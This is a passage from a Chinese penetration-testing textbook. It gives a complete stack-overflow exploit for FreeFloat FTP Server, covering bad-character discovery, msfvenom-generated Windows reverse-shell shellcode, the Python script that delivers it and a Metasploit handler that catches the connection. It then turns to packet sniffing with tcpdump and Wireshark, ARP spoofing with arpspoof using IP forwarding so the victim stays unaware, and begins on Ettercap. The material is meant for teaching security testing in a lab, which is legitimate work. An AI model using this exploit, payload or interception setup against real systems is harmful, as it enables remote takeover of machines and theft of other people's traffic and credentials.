虽然上面的漏洞渗透程序编写得很成功，但是在实际中却未必如此顺利。即使所有需要的量都计算得很准确，后来加入的shellcode却未必能执行成功。要注意上面实例中我们输入的230个A、“JMP ESP”的指令地址以及要执行的shellcode的内容都是以FTP的用户名的形式输入的，也就是说其实上面的所有内容都是FTP的用户名。但是FTP对用户名是有限制的，并非所有的字符都可以出现在用户名中。如果我们的内容中包含了这种不被允许的字符，就可能导致FTP服务器拒绝接收后面的内容，从而导致代码只传送了一部分。但是每个程序，甚至每个程序的入口接收的规则都不一样，我们很难直接指出哪些是坏字符，但是我们可以使用逐个测试的方法找出这些字符。下面列出了所有的可能的字符。
 
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\  

x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\  

x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"

"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\  

x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"

"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\  

x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"

"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\  

x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"

"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\  

xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"

"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\  

xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"

"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\  

xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
 
以前常用的方法是将这些字符一个一个地进行尝试，然后找出其中的坏字符。这种方法效率其实十分低下，我们可以使用一些工具（例如mona.py）来完成这个任务。但是出于学习的目的，我们使用这种逐个尝试的方法可以更容易地掌握模块编写的原理。我觉得一本好的书更应该授之以渔，你觉得呢？首先我们还是回头看一下我们之前编写的那个用来连接服务器的程序。
 
import socket

offset_to_eip=  230

buffer = "A" * offset_to_eip

buffer += "BBBB"

buffer += "A" *50

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect = s.connect(('192.168.1.106',21))

response = s.recv(1024)

s.send('USER ' + buffer  + '\r\n')
 
首先我们启动 Immunity Debugger，接下来我们将这个“FreeFloat FTP Server”的进程附加到Immunity Debugger中。
 
当我们运行这个程序的时候，“FreeFloat FTP Server”程序会崩溃，在Immunity Debugger查看，可以看到如图11-27所示的结果，用鼠标找到42424242所在的位置。
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图11-27　找到用户名的输入位置
 
好了，其实之前我们已经讨论过这个问题了，“BBBB”现在所在的位置就是EIP指针的位置，它后面的位置就是我们要放置坏字符的位置。下面我们来修改上面的那段程序，在“BBBB”的后面添加所有的字符，修改后的程序如下所示。
 
#!/usr/bin/python

import socket

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\   

x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"

"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\  

x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"

"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\  

x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"

"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\  

x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"

"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\  

x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"

"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\  

xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"

"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\  

xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"

"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\  

xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

offset_to_eip=  230

buffer = "A" * offset_to_eip

buffer += "BBBB"

buffer += badchars *

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)

connect = s.connect(('192.168.1.106',21))

response = s.recv(1024)

s.send('USER ' + buffer  + '\r\n')
 
这段程序将会把所有的字符都发送到目标服务器中，但是坏字符串会引起程序的终止。我们仍然执行这段程序，并在 Immunity Debugger中查看引起程序终止的位置，如图11-28所示。
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图11-28　引起程序终止的位置
 
在这里可以看到在“BBBB”后面的第一行的后面，就出现了“Password required”，这说明在“BBBB”后面的第一行里出现了导致目标软件认为用户名已经输入结束的字符了。回头我们来看一下这一行一共是4个字符“\x00\x01\x02\x03”，我们首先将这里面的“\x00”去掉，如果程序就会继续向下执行的话，那么说明这个字符是坏字符，还是这个程序，修改之后如下所示。
 
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\  

x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
 
还是执行这个程序，查看一下结果。第二次引起程序终止的位置如图11-29所示。
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图11-29　第二次引起程序终止的位置
 
好了，显然现在前面的8个字符没有问题了，在第三行用户名的输入再次被终止了，那么这说明现在的“\x01\x02\x03\x04\x05\x06\x07\x08\x09”已经没有问题了，出问题的一定是“\x0a\x0b\x0c\x0d”中的一个。我们再将这4个字符一个一个地去掉看一下，首先去掉“\x0a”，然后执行这个程序,使用 Immunity Debugger查看里面的变化。第三次引起程序终止的位置如图11-30所示。
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图11-30　第三次引起程序终止的位置
 
好了，其实我们很幸运的，这里面的坏字符刚好是“\x0a”，所以我们一次就尝试出来了。如果坏字符是“\x0d”的话，我们要尝试的次数显然要更多。好了，剩下的步骤你最好自行完成，这个程序中的坏字符是“\x00”“\x0a”“\x40”，那么我们在编写Shellcode的时候，就需要避免这3个坏字符。
 
11.6　使用Metasploit来生成Shellcode
 
好了，现在我们已经编写好了一个可以使用的漏洞渗透模块，那么我们如何利用Metasploit和这个编写好的模块协同工作呢？首先我们使用msfvenom命令来创建一个可以使用的shellcode。
 
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.104 LPORT=443 -b '\x00\ x0a\x40' -f c
 
生成的shellcode代码如下所示。
 
"\xba\x3d\x25\x0f\xda\xda\xd3\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"

"\x52\x31\x56\x12\x83\xc6\x04\x03\x6b\x2b\xed\x2f\x6f\xdb\x73"

"\xcf\x8f\x1c\x14\x59\x6a\x2d\x14\x3d\xff\x1e\xa4\x35\xad\x92"

"\x4f\x1b\x45\x20\x3d\xb4\x6a\x81\x88\xe2\x45\x12\xa0\xd7\xc4"

"\x90\xbb\x0b\x26\xa8\x73\x5e\x27\xed\x6e\x93\x75\xa6\xe5\x06"

"\x69\xc3\xb0\x9a\x02\x9f\x55\x9b\xf7\x68\x57\x8a\xa6\xe3\x0e"

"\x0c\x49\x27\x3b\x05\x51\x24\x06\xdf\xea\x9e\xfc\xde\x3a\xef"

"\xfd\x4d\x03\xdf\x0f\x8f\x44\xd8\xef\xfa\xbc\x1a\x8d\xfc\x7b"

"\x60\x49\x88\x9f\xc2\x1a\x2a\x7b\xf2\xcf\xad\x08\xf8\xa4\xba"

"\x56\x1d\x3a\x6e\xed\x19\xb7\x91\x21\xa8\x83\xb5\xe5\xf0\x50"

"\xd7\xbc\x5c\x36\xe8\xde\x3e\xe7\x4c\x95\xd3\xfc\xfc\xf4\xbb"

"\x31\xcd\x06\x3c\x5e\x46\x75\x0e\xc1\xfc\x11\x22\x8a\xda\xe6"

"\x45\xa1\x9b\x78\xb8\x4a\xdc\x51\x7f\x1e\x8c\xc9\x56\x1f\x47"

"\x09\x56\xca\xc8\x59\xf8\xa5\xa8\x09\xb8\x15\x41\x43\x37\x49"

"\x71\x6c\x9d\xe2\x18\x97\x76\xcd\x75\x96\xee\xa5\x87\x98\xef"

"\x8e\x01\x7e\x85\xe0\x47\x29\x32\x98\xcd\xa1\xa3\x65\xd8\xcc"

"\xe4\xee\xef\x31\xaa\x06\x85\x21\x5b\xe7\xd0\x1b\xca\xf8\xce"

"\x33\x90\x6b\x95\xc3\xdf\x97\x02\x94\x88\x66\x5b\x70\x25\xd0"

"\xf5\x66\xb4\x84\x3e\x22\x63\x75\xc0\xab\xe6\xc1\xe6\xbb\x3e"

"\xc9\xa2\xef\xee\x9c\x7c\x59\x49\x77\xcf\x33\x03\x24\x99\xd3"

"\xd2\x06\x1a\xa5\xda\x42\xec\x49\x6a\x3b\xa9\x76\x43\xab\x3d"

"\x0f\xb9\x4b\xc1\xda\x79\x7b\x88\x46\x2b\x14\x55\x13\x69\x79"

"\x66\xce\xae\x84\xe5\xfa\x4e\x73\xf5\x8f\x4b\x3f\xb1\x7c\x26"

"\x50\x54\x82\x95\x51\x7d";
 
你可以将这段代码的功能理解为一个木马，这个木马一旦在目标上运行，就会在目标主机上打开一个端口，然后被我们所控制。加入了这段shellcode之后的代码如下所示。
 
import socket

buff = "\x41"*230+"\xD7\x30\x9D\x7C"+"\x90"*20

shellcode="\xba\x3d\x25\x0f\xda\xda\xd3\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"

shellcode+="\x52\x31\x56\x12\x83\xc6\x04\x03\x6b\x2b\xed\x2f\x6f\xdb\x73"

shellcode+="\xcf\x8f\x1c\x14\x59\x6a\x2d\x14\x3d\xff\x1e\xa4\x35\xad\x92"

shellcode+="\x4f\x1b\x45\x20\x3d\xb4\x6a\x81\x88\xe2\x45\x12\xa0\xd7\xc4"

shellcode+="\x90\xbb\x0b\x26\xa8\x73\x5e\x27\xed\x6e\x93\x75\xa6\xe5\x06"

shellcode+="\x69\xc3\xb0\x9a\x02\x9f\x55\x9b\xf7\x68\x57\x8a\xa6\xe3\x0e"

shellcode+="\x0c\x49\x27\x3b\x05\x51\x24\x06\xdf\xea\x9e\xfc\xde\x3a\xef"

shellcode+="\xfd\x4d\x03\xdf\x0f\x8f\x44\xd8\xef\xfa\xbc\x1a\x8d\xfc\x7b"

shellcode+="\x60\x49\x88\x9f\xc2\x1a\x2a\x7b\xf2\xcf\xad\x08\xf8\xa4\xba"

shellcode+="\x56\x1d\x3a\x6e\xed\x19\xb7\x91\x21\xa8\x83\xb5\xe5\xf0\x50"

shellcode+="\xd7\xbc\x5c\x36\xe8\xde\x3e\xe7\x4c\x95\xd3\xfc\xfc\xf4\xbb"

shellcode+="\x31\xcd\x06\x3c\x5e\x46\x75\x0e\xc1\xfc\x11\x22\x8a\xda\xe6"

shellcode+="\x45\xa1\x9b\x78\xb8\x4a\xdc\x51\x7f\x1e\x8c\xc9\x56\x1f\x47"

shellcode+="\x09\x56\xca\xc8\x59\xf8\xa5\xa8\x09\xb8\x15\x41\x43\x37\x49"

shellcode+="\x71\x6c\x9d\xe2\x18\x97\x76\xcd\x75\x96\xee\xa5\x87\x98\xef"

shellcode+="\x8e\x01\x7e\x85\xe0\x47\x29\x32\x98\xcd\xa1\xa3\x65\xd8\xcc"

shellcode+="\xe4\xee\xef\x31\xaa\x06\x85\x21\x5b\xe7\xd0\x1b\xca\xf8\xce"

shellcode+="\x33\x90\x6b\x95\xc3\xdf\x97\x02\x94\x88\x66\x5b\x70\x25\xd0"

shellcode+="\xf5\x66\xb4\x84\x3e\x22\x63\x75\xc0\xab\xe6\xc1\xe6\xbb\x3e"

shellcode+="\xc9\xa2\xef\xee\x9c\x7c\x59\x49\x77\xcf\x33\x03\x24\x99\xd3"

shellcode+="\xd2\x06\x1a\xa5\xda\x42\xec\x49\x6a\x3b\xa9\x76\x43\xab\x3d"

shellcode+="\x0f\xb9\x4b\xc1\xda\x79\x7b\x88\x46\x2b\x14\x55\x13\x69\x79"

shellcode+="\x66\xce\xae\x84\xe5\xfa\x4e\x73\xf5\x8f\x4b\x3f\xb1\x7c\x26"

shellcode+="\x50\x54\x82\x95\x51\x7d"

buff+=shellcode

target = "192.168.1.106"

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect((target,21))

s.send("USER "+buff+"\r\n")

s.close()
 
好了，现在启动Metasploit，这是因为我们需要一个主控端。
 
root@kali:~# msfconsole
 
启动了Metasploit之后，执行如下命令。
 
msf> use exploit/multi/handler

msf exploit(handler) > set payload windows/shell_reverse_tcp

msf exploit(handler) > set lhost 192.168.1.104

msf exploit(handler) > set lport 443

msf exploit(handler) > exploit
 
执行的结果如图11-31所示。
 
[image: 图片 3]
 
图11-31　对handler进行设置
 
然后执行渗透脚本，执行之后可以看到Metasploit的客户端成功建立远程控制连接，如图11-32所示。
 
[image: 图片 4]
 
图11-32　成功建立远程控制连接
 
好了，现在就可以使用我们编写的程序来远程控制目标计算机了。
 
11.7　小结
 
在本章中我们针对一个特定漏洞进行渗透模块开发，这是一个存在于FreeFloat FTP Server软件上的栈溢出类型漏洞。这种漏洞极为普遍，因而对这种漏洞的研究可以提高我们渗透测试方面的能力。
 
在本章开始的时候，我们先介绍了如何来引起一个程序的崩溃，利用崩溃的信息可以找出该程序的偏移地址。然后我们讲解了如何利用这个地址来编写一个渗透开发模块，这里面涉及到了如何查找“JMP ESP”指令，如何编写渗透程序，如何找到引起程序终止的坏字符等等知识点。最后我们使用Metasploit生成了Shellcode，并将这个Shellcode加入到了渗透模块。在最后使用编写的程序对目标的漏洞进行了测试。
 
在下一章中，我们将会介绍网络数据的嗅探与欺骗。
 


第12章　网络数据的嗅探与欺骗
 
无论什么样的漏洞渗透程序，在网络中都是以数据包的形式传输的，因此如果我们能够对网络中的数据包进行分析的话，就可以深入地掌握渗透的原理。另外很多网络攻击的方法也都是利用发送精心构造的数据包来完成，例如常见的ARP欺骗。利用这种欺骗方式，黑客就可以截获受害计算机与外部通信的全部数据，例如受害者登录使用的用户名与密码、发送的邮件等。
 
在Kali Linux 2的启动界面中，就清晰地展示了一条忠告“The quieter you are the more you are able to hear”。设想这样的一个场景，一个黑客就静静地潜伏在你的身边，他手中的设备将每一个流经你计算机的网络数据都复制了一份。互联网中的大部分数据都没有采用加密的方式传输，这也就意味着，你在网络上的一举一动都在别人的监视之下。例如使用HTTP协议、FTP协议或者Telnet协议所传输的数据都是明文传输的，一旦数据包被监听，那么里面的信息也直接会泄露。而这一切并不难以做到，任何一个有经验的黑客都可以轻而易举地使用抓包工具来捕获这些信息，从而突破网络，窃取网络中的秘密。网络中最为著名的一种欺骗攻击被称为“中间人攻击”。在这种攻击方式中，攻击者会同时欺骗设备A和设备B，攻击者会设法让设备A误认为攻击者的计算机才是设备B，同时还会设法让设备B误认为攻击者的计算机是设备A。从而将A和B之间的通信全都会经过攻击者的设备。
 
当然，除了黑客会使用这些抓包工具之外，网络安全人员也会使用这些抓包工具，利用这些工具也可以发现黑客的不法入侵行为。
 
这一章中，我们将会就如下的两点技术进行讨论。
 
 
 	网络数据的嗅探：在Kali Linux 2中提供了很多可以用来实现网络数据嗅探的工具，其实这些工具都是基于相同的原理。所有通过你网卡的网络数据都是可以被读取的。这些网络数据按照各种各样不同的协议组织到了一起。所以我们只要掌握了各种协议的格式，就可以分析出这些数据所表示的意义。当然，目前互联网上所使用的协议数目众多，而且还在不断的增长中（也许将来有一天，互联网中所使用的某种协议就是由你设计的），我们在学习的时候，只需要掌握这些协议中最为重要的部分即可。
 
 	网络数据的欺骗：在互联网创建之初，提供的服务和使用的人员都很少，因此也无需考虑安全方面的问题。所以作为互联网协议基础的几个重要协议都没有使用安全措施。但是随着互联网的规模越来越大，使用者也越来越多，一些抱有其他想法的人也开始使用互联网了。他们开始利用互联网的缺陷篡改网络数据来实现自己的目的，这些人一开始可能只是出于恶作剧或者炫耀的目的，而渐渐发展成为了一种破坏甚至敛财的手段。比如说，我们都十分了解的ICMP协议，也就是当主机A向主机B发送一个ICMP请求的时候，主机B会向主机A回复一个ICMP回应。如果我们伪造一个由主机A发出的ICMP请求，并将这个数据包发送给很多主机，那么这些主机就都会向主机A发回一个ICMP回应。主机A就不得不使用大量的资源来处理这些回应。
 

 
如果你想要彻底了解一个网络的话，那么最好的办法就是对网络中的流量进行嗅探。在本章中我们将会介绍几个抓包工具，这些抓包工具可以用来窃取网络中明文传输的密码，监视网络中的数据流向，甚至可以收集远程登录所使用的NTLM数据包（这个数据包中包含了登录用的用户名和使用hash加密的密码）。
 
12.1　使用 TcpDump分析网络数据
 
TcpDump是一款资深网络工作人员必备的工具，这个工具极为强大。在David J. Malan主讲的哈佛大学公开课《计算机科学cs50》中，David J. Malan就在上课时使用TcpDump捕获了教室中的网络流量。
 
和Kali Linux 2中的大多数软件一样，TcpDump是一款小巧的工作在纯命令行上的工具。也正由于它的体积小，所以这款工具可以完美地运行在大多数路由器、防火墙以及Linux系统中。不过现在这款工具也有了可以运行在Windows操作系统上的版本。TcpDump可以即时地显示捕获到的数据包。直接在Kali Linux 2打开一个命令行输入“tcpdump”就可以启动这个工具，如图12-1所示。
 
[image: 图片 3]
 
图12-1　启动的TcpDump
 
下面来演示一下这个工具的使用方法。首先我们使用TcpDump来捕获网络中的数据，但是并不对这些数据进行存储，执行的命令如下：
 
tcpdump -v -i eth0
 
这里的-i用来指定TcpDump进行监听所使用的网卡。-v表示的是以verbose mode显示。当我们按回车键之后，TcpDump就会开始工作，所有被捕获到的数据包都会显示在屏幕上。当需要停止数据的捕获时，按下CTRL+C组合键。
 
在这种情况下，数据显示的速度相当之快，如果是在一个大型网络中，我们根本无法看清楚屏幕上显示的内容。这时我们可以选择将这些捕获到的数据保存在一个文件中。
 
root@kali:~# tcpdump -v -i eth0 -w cap-20171025.pcap
 
我们现在运行上面的命令，将捕获到的数据保存在名为cap-2017025的文件中，这个文件的后缀名为pcap。图12-2给出了具体的实现过程。
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图12-2　使用tcpdump捕获数据包并保存
 
注意从现在开始，你将无法在屏幕上看到捕获到的数据包，这些数据将会保存在文件中。这里面的参数-w表明要将捕获到的数据包以cap-2017025为名保存起来。这个文件最好起一个可以说明其含义的名称，做到见名知意，后面再跟上捕获数据的日期。但是要注意的是如果你一天时间内使用同一台计算机多次捕获数据包的话，最好在后面添加上一个可以区分的标识。
 
12.2　使用Wireshark进行网络分析
 
Wireshark是现在世界上最优秀的网络抓包软件，同时也是目前世界上最为流行的网络分析软件。和TcpDump一样，这个强大的工具可以捕捉网络中的数据。在1997年的时候Gerald Combs开始了Wireshark前身Ethereal的编写工作，之后有很多人都参与到了这个软件的编写工作中来。2006年6月，因为商标的问题，Ethereal更名为Wireshark。
 
相比起TcpDump，Wireshark最大优势在于赏心悦目的GUI界面，目前国内外的大部分网络方面的专家都将Wireshark视作必备的工具。相比起其他的网络抓包工具，Wireshark具备如下优势。
 
 
 	支持协议的数量众多，Wireshark在这一点上是极为优秀的，目前它已经支持了上千种的网络协议。这些协议包括从最基础的TCP一直到现在的Bitcoin协议等。
 
 	赏心悦目的GUI操作界面，Wireshark提供了清晰的菜单栏和简明的布局。这些优势对于使用者，尤其是刚刚接触网络的初学者而言是一个福音。
 
 	开源性，不管你是否为一个财力雄厚的大企业工作，你都可以选择使用Wireshark。因为Wireshark是完全免费的，我们无需付出任何费用就可以使用这个强大无比工具的全部功能。
 
 	应用的广阔性，目前所有的主流操作系统都支持Wireshark。
 

 
在Kali Linux 2中已经安装好了Wireshark。启动Wireshark的方法有两种，一种是启动一个终端，然后在终端中输入：
 
root@kali:~# wireshark
 
另外也可以在菜单中启动Wireshark，这个工具位于分类中的“09-Sniffing&Spoofing”，如图12-3所示。
 
启动之后的Wireshark界面如图12-4所示。
 
Wireshark的工作界面和普通的软件没有什么区别，最上方的是菜单栏，然后是工具栏。一般一个主机上面会有多块网卡，这些网卡作为网络数据流量的出入口，我们可以指定其中的一块网卡，屏蔽掉从其他网卡的进出流量。我们既可以在图12-4显示的启动界面选择网卡，也可以通过菜单栏进行设置。首先单击菜单栏上的“Capture”，在Capture下拉列表中选择Options，如图12-5所示。
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图12-3　在applications中启动Wireshark
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\d0d12032\Screenshot from 2017-09-23 22-42-21.png]
 
图12-4　Wireshark的启动界面
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图12-5　在Capture下拉列表中选择Options
 
接下来会弹出一个“Capture Interfaces”选择窗口，在这个窗口中我们选择需要使用的网卡，例如这里选择最常用的eth0，如图12-6所示。
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图12-6　网卡选择控制界面
 
虽然Wireshark的操作界面看起来蛮复杂的，但其实使用起来和Tcpdump一样简单，仅仅是指定了网卡之后就可以开始工作了，开始工作的Wireshark界面如图12-7所示。
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图12-7　Wireshark的工作界面
 
启动之后的Wireshark可以分成3个面板部分：1是数据包列表，2是数据包详细信息，3是数据包原始信息。这3个面板相互关联，当在数据包列表中选中一个数据包之后，在数据包信息面板处就可以查看这个数据包的详细信息，在数据包原始信息面板处就可以看到这个数据包的原始信息。
 
一般而言，数据包详细信息中包含的内容是我们最为关心的。一个数据包通常都需要使用多个协议，这些协议一层层地将要传输的数据包装起来，例如图12-8中展示了DHCPv6的数据包。
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图12-8　DHCPv6数据包的详细信息
 
图12-8中的数据包一共分成了5层，依次为Frame、Ethernet、IP、UDP、DHCPv6，每一层前面有一个黑色的三角形图标，单击这个图标可以展开数据包这一层的详细信息，例如我们来查看一下这个数据包中UDP的详细信息就可以单击前面的三角形图标，如图12-9所示。
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图12-9　DHCPv6数据包UDP层的详细信息
 
使用Wireshark来捕获数据包的方法很简单，但是在正常情况下，我们所使用的计算机由于会有大量的通信，所以在很短的时间内就有大量的数据包产生，要从这么多的数据包中找到我们所需要的数据包就变成了一件十分困难的事情。设想一下，警察经常要查阅几百个小时的监控摄像来查找嫌疑人这个工作的任务量到底有多大，而在几十万个数据包中去查找符合指定要求的数据包要比这个任务还复杂得多。
 
为此Wireshark为使用者提供了两个过滤器，一个是显示过滤器，另一个是捕获过滤器。需要特别强调一点，这两个过滤器使用的是不同的过滤语法。显示过滤器较为实用，我们在使用Wireshark捕获数据包的时候，无需事先设定任何条件，仍然是正常的捕获所有数据包，但是可以根据指定的条件将不符合条件的数据包过滤掉，只显示那些符合条件的数据包。这个过滤器位于工具栏的下方，如图12-10所示。
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图12-10　Wireshark中的显示过滤器
 
显示过滤器可以基于协议、应用、地址等构造识别大小写，但通常使用小写。下面我们先来构造一个只能显示ICMP数据包的显示过滤器，这一点很容易实现。首先我们在一个终端ping任意的一个地址产生ICMP数据包，如图12-11所示。
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图12-11　产生ICMP数据包
 
我们在文本框中输入“icmp”即可完成这个显示过滤器，然后按下回车键即可，如图12-12所示。
 
[image: 图片 7]
 
图12-12　使用icmp显示过滤器
 
应用这个过滤显示器之后，其他类型的数据包就不会显示了。
 
下面我们来简单介绍显示过滤器的构造语法，首先来看如何构造基于协议的显示过滤器，例如只显示ARP协议数据包的话，那么就可以构造。
 
arp
 
这个显示过滤器会屏蔽掉所有除了包括ARP请求和回复之外的数据包。
 
也可以使用各种比较运算符（例如==，！=等）来扩展显示过滤器，例如我们只显示所有源地址为192.168.1.103的数据包。
 
ip.src == 192.168.1.103
 
显示所有源端口不为80的数据包，可以构造如下的显示过滤器。
 
tcp.srcport != 80
 
在这个显示过滤器的最右侧还有一个“Expression”按钮，单击这个按钮可以使用显示过滤器的构造窗口，如图12-13所示。
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图12-13　显示过滤器的构造按钮
 
打开这个显示过滤器的构造窗口，如图12-14所示。
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图12-14　显示过滤器的构造窗口
 
这个过滤器的构造窗口分成几个部分，左侧是“Field Name”，这部分主要是各种协议和协议的各个字段。右侧上方的“Relation”包含的是各种关系运算符。右侧中间的“Value”是空白，用来填写各种值。例如我们现在就来构造一个只显示来自192.168.1.103发出来数据包的过滤器，如图12-15所示。
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图12-15　使用构造窗口构造显示过滤器
 
我们首先在左侧的“Field Name”里列表中找到IP，然后展开IP找到ip.src字段。在关系运算中找到“==”，然后在Value中填写IP值。填写完毕之后可以看到下方绿颜色的部分就显示了构造好的显示过滤器，完成之后单击“OK”即可。
 
12.3　使用arpspoof进行网络欺骗
 
在早期的网络中，进行数据交换使用的设备是集线器，这时网络中的数据都是广播的。这意味着计算机能够接收到发送给其他计算机的信息。而捕获在网络中传输的数据信息的行为就称为网络嗅探。在这个时期，我们只需要将网卡更改为混杂模式即可接收到整个网络的数据。但是在现在的网络中使用的设备是交换机，这个时期我们就不能仅仅依靠将网卡改为混杂模式就监听到整个网络的数据，而是需要利用ARP协议的漏洞。
 
在Kali Linux 2中提供了很多可以实现网络欺骗的工具，我们首先以其中最为典型的arpspoof来演示一下，首先在Kali Linux 2中打开一个终端，输入“arpspoof”就可以启动这个工具，如图12-16所示。
 
[image: 图片 1]
 
图12-16　在终端中启动arpspoof
 
这个工具的使用格式为：
 
arpspoof  [-i 指定使用的网卡] [-t 要欺骗的目标主机] [-r] 要伪装成的主机
 
现在我们的主机IP地址为192.168.169.130，要欺骗的目标主机IP地址为192.168.169.131。现在这个网络的网关是192.168.169.2，所有主机与外部的通信都是通过这一台主机完成的，所以我们只需要伪装成网关，就可以截获到所有的数据。那么我们现在的实验中所涉及的主机包括以下各项：
 
 
 	攻击者：192.168.169.130
 
 	被欺骗主机：192.168.169.132
 
 	默认网关：192.168.169.2
 

 
下面就使用arpspoof来完成一次网络欺骗：
 
root@kali:~# arpspoof -i eth0 -t 192.168.169.132 192.168.169.2
 
执行的过程如图12-17所示。
 
[image: 图片 2]
 
图12-17　正在进行攻击的arpspoof
 
现在受到欺骗的主机192.168.169.132就会把192.168.169.130当做是网关，从而把所有的数据都发送到这个主机，我们在主机192.168.169.132上查看Arp表就可以看到，此时192.168.169.2与192.168.169.130的mac地址是相同的，如图12-18所示。
 
[image: 图片 3]
 
图12-18　被欺骗主机的ARP表
 
现在arpspoof完成了对目标主机的欺骗任务，可以截获到目标主机发往网关的数据包。但是这里有两个问题，首先arpspoof仅仅是会截获这些数据包，并不能查看这些数据包，所以我们还需要使用专门查看数据包的工具，例如driftnet。同时我们的主机也不会再将这些数据包转发到网关，这样将会导致目标主机无法正常上网，所以我们需要在主机上开启转发功能。首先打开一个终端，开启的方法如下所示。
 
root@kali:~# echo 1 >> /proc/sys/net/ipv4/ip_forward
 
这样我们就可以将截获到的数据包再转发出去，被欺骗的主机就仍然可以正常上网了，从而无法察觉到受到了攻击。此时，我们可以使用Tcpdump或者Wireshark来捕获这些其他主机的数据包了。
 
12.4　使用Ettercap进行网络嗅探
 
Arpspoof的使用十分简单，但是只实现了网络欺骗功能，如果要实现进一步的渗透，还需要其他工具的配合，这对于初学者来说，可能有一定的难度。现在我们来介绍一个集成了更多功能的工具——Ettercap。最初的Ettercap只是被设计用来进行网络嗅探，但是随着越来越多功能的加入，现在它已经变成了一款功能极为强大的网络攻击工具，利用这款工具甚至可以完成对加密通信的监听。
 
Kali Linux 2中集成了这款工具，Ettercap拥有两种工作方式，既可以工作在命令行中，也可以工作在图形化界面。这里我们主要来介绍如何在图形化界面中操作Ettercap，依次选择“Applications”“09-Sniffing & Spoofing”“ettercap-gui”，就可以使用图形化操作方式打开Ettercap，如图12-19所示。
 
启动之后的Ettercap的图形化操作界面如图12-20所示。
 
[image: 图片 1]
 
图12-19　以图形化的界面启动Ettercap
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\e204288d\Screenshot from 2017-06-27 20-00-59.png]
 
图12-20　图形化Ettercap的启动界面
 
Ettercap的运行方式有Unified和Bridged两种。
 
 
 	Unified方式是以中间人方式嗅探，这是比较常用的一种方法。
 
 	Bridged方式是在双网卡情况下，嗅探两块网卡之间的数据包，这种方法并不经常使用。
 

 
我们可以在成功启动Ettercap之后利用菜单中的sniff选项来选择运行的方式，如图12-21所示。
 
[image: 图片 2]
 
图12-21　使用菜单Sniff选项选择运行方式
 
在这里我们选择了第一种Unified模式之后，接下来就需要指定要使用的网卡：
 
这个网卡的选择可以根据具体的情况进行选择。例如我们这里使用的本地的有线网络进行测试，所以选择的是eth0，如图12-22所示。如果使用的是无线网络，则需要选择wlan0。选择完网卡之后，你可以很明显地发现Ettercap操作界面的变化，如图12-23所示。
 
[image: 说明: C:\Users\admin\AppData\Local\Temp\vmware-admin\VMwareDnD\6107ad2e\Screenshot from 2017-06-27 20-15-31.png]
 
图12-22 为Ettercap指定进行监听的网卡
 
